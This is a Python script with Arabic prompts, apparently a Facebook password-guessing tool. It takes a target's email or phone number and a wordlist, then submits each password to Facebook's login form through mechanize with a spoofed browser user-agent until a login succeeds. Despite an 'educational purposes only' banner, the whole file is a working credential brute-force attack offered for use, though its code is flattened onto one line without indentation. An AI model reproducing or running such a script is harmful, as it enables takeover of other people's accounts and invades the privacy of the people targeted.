import requests from bs4 import BeautifulSoup import mechanize import sys def facebook_cracker(): print("\n\n\t\t=== أداة تخمين كلمة مرور فيسبوك ===") print("\t\t(هذا الكود للأغراض التعليمية فقط)\n") email = input("أدخل البريد الإلكتروني أو رقم الهاتف: ") password_list = input("أدخل مسار ملف كلمات المرور (wordlist.txt): ") try: with open(password_list, 'r') as file: passwords = file.readlines() except: print("\n[!] خطأ في فتح ملف كلمات المرور") sys.exit(1) br = mechanize.Browser() br.set_handle_robots(False) br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36')] print("\n[+] بدء عملية التخمين...") for password in passwords: password = password.strip() try: br.open("https://www.facebook.com/login.php") br.select_form(nr=0) br.form['email'] = email br.form['pass'] = password response = br.submit() if "login_attempt" not in response.geturl(): print("\n[+] تم العثور على كلمة المرور!") print(f"[+] كلمة المرور هي: {password}") sys.exit(0) else: print(f"[-] تجربة كلمة المرور: {password} - فشلت") except: print("\n[!] حدث خطأ أثناء الاتصال بفيسبوك") sys.exit(1) print("\n[-] لم يتم العثور على كلمة المرور في القائمة المقدمة") if __name__ == "__main__": facebook_cracker()